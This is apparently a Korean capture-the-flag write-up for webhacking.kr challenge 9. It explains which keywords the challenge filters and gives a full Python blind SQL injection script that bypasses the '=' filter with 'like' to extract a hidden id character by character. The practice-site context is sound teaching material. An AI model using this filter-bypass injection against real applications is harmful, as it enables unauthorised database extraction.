오랜만에 문제풀이 ..ㅎ..ㅎ.ㅎㅎ
1,2,3을 눌러보면 아래 그림처럼 출력되는 것을 볼 수 있다.
여기서 알 수 있는 것은
no=1 id=Apple
no=2 id=Banana
no=3 id=(password) 이고,
우리는 no=3의 id를 찾아야 한다.
이것저것 입력해 본 결과, 아래와 같은 문자열 입력 시 Access Denied를 출력한다.
-> union, select, procedure anaylses(), =, and, or ...
(추후 문제 풀다가 알게 된 건 bin, ord 도 필터링되어 있음)
또한, no=4 처럼 테이블에 존재하지 않는 값을 입력하면 아무것도 출력하지 않는다.
이를 이용해 우리는 blind sql을 시도할 수 있다.
if문을 이용해 먼저 id 길이를 확인한 후, id 값을 알아냈다.
다음은 blind sql 코드이다.
#-*- encoding: utf-8 -*-
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://webhacking.kr/challenge/web-09/?no="
headers = { "Cookie" : "세션 값" }
# GET length of id = 11
for i in range(30):
payload = "if(length(id)like({}),3,4)".format(i)
res = requests.get(url=url+payload, headers=headers, verify=False)
if "Secret" in res.text:
idlen = i
break
else:
pass
print(i) #11
# GET id
idLen = 11
bitLen = 8
id3 = ""
for i in range(1, idLen+1):
for j in range(97,123):
h = hex(j)
payload = "if(substr(id,{},1)like({}),3,4)".format(i,h)
res = requests.get(url=url+payload, headers=headers, verify=False)
if "Secret" in res.text:
id3 += chr(j)
break
else:
pass
print("[ ] Found word : ", id3)
print("[+] Found id : ", id3) # alsrkswhaql
+) '=' 가 필터링되어 있는 것을 우회하기 위해 like를 사용
앞서 구한 id 값(alsrkswhaql)을 Password에 입력하여 제출하면, 문제가 풀린다!
'WEB > webhacking.kr (old)' 카테고리의 다른 글
webhacking.kr 13번 (0) | 2022.04.03 |
---|---|
webhacking.kr 29번 (0) | 2020.04.12 |
webhacking.kr 35번 (0) | 2020.04.12 |
webhacking.kr 60번 (0) | 2020.04.11 |
webhacking.kr 53번 (0) | 2020.04.10 |